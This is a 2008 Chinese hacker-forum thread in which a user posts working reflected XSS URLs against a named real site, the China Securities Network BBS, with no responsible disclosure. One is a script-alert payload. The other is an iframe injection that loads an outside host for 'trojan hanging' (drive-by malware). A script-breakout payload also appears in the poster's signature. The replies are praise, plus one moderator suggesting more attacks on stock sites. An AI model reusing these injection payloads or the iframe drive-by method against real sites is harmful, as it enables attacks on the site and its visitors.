‹‹ 上一主题 | 下一主题 ››
发新话题
打印

[原创] 到中国证券网,玩XSS

背时鬼

"></script><&

三年级

Rank: 3Rank: 3Rank: 3

帖子
736 
精华
1 
威望
279 度 
金币
1509 枚 
来自
云南省昆明市中心 
最后登录
2008-12-2 
1# 大 中 小 发表于 2008-9-19 03:27  只看该作者

到中国证券网,玩XSS

百度上搜 中国证券网 进去后发现是个静态站点.有点郁闷.
BBS是DVBBS做的,至于跨的是哪,XSS代码如下:
http://bbs.cnstock.com/boardhelp.asp?boardid=0&act=3&title=UBB语法%20"><script>alert('XSS')</script><"
什么都没过滤,碰运气碰到的.没什么技术含量.
框架挂马代码:
http://bbs.cnstock.com/boardhelp.asp?boardid=0&act=3&title=UBB语法>"<iframe src=http://hh312623376.blog.163.com width=400 height=600></iframe><"

谢谢版主和大家一只以来的支持和帮助.谢谢了!!!
[img][/img]</textarea><Script>alert('text')< /Script><textarea>[img][/img]

TOP

背时鬼

"></script><&

三年级

Rank: 3Rank: 3Rank: 3

帖子
736 
精华
1 
威望
279 度 
金币
1509 枚 
来自
云南省昆明市中心 
最后登录
2008-12-2 
2# 大 中 小 发表于 2008-9-19 03:28  只看该作者
[img][/img]</textarea><Script>alert('text')< /Script><textarea>[img][/img]

TOP

bk7477890

XIAOYY

正式版主

Rank: 9Rank: 9Rank: 9

黑客X档案官方论坛

帖子
4542 
精华
1 
威望
106 度 
金币
9712 枚 
性别
男 
来自
西安 
最后登录
2008-12-2 
3# 大 中 小 发表于 2008-9-19 20:07  只看该作者
多搞几次股市吧

TOP

bk7477890

XIAOYY

正式版主

Rank: 9Rank: 9Rank: 9

黑客X档案官方论坛

帖子
4542 
精华
1 
威望
106 度 
金币
9712 枚 
性别
男 
来自
西安 
最后登录
2008-12-2 
4# 大 中 小 发表于 2008-9-22 09:56  只看该作者
发现一个小秘密

TOP

hacksky

三年级

Rank: 3Rank: 3Rank: 3

H-S-T

帖子
827 
精华
0 
威望
12 度 
金币
2195 枚 
性别
男 
最后登录
2008-12-3 
5# 大 中 小 发表于 2008-9-22 10:05  只看该作者
貌似LZ最近一段时间发的全是有关各大站点的XSS
好久没看到过这么专注的人了



My blog : http://www.xhacksky.cn

TOP

背时鬼

"></script><&

三年级

Rank: 3Rank: 3Rank: 3

帖子
736 
精华
1 
威望
279 度 
金币
1509 枚 
来自
云南省昆明市中心 
最后登录
2008-12-2 
6# 大 中 小 发表于 2008-9-23 04:24  只看该作者
版主发的XSS才惊人啊~
[img][/img]</textarea><Script>alert('text')< /Script><textarea>[img][/img]

TOP

权限不足

学前班

帖子
11 
精华
0 
威望
0 度 
金币
36 枚 
性别
男 
来自
杭州 
最后登录
2008-10-17 
7# 大 中 小 发表于 2008-9-23 12:03  只看该作者
都是跨   强人啊~~~~

专心研究下·~~·

TOP

Deroemon

三年级

Rank: 3Rank: 3Rank: 3

帖子
646 
精华
0 
威望
0 度 
金币
853 枚 
性别
男 
来自
长春 
最后登录
2008-11-23 
8# 大 中 小 发表于 2008-9-23 12:06  只看该作者

Deroemon

好厉害 怎么玩的这么强啊
要学的东西真的好多啊...

TOP

‹‹ 上一主题 | 下一主题 ››
发新话题

Processed in 0.064330 second(s), 5 queries, Gzip enabled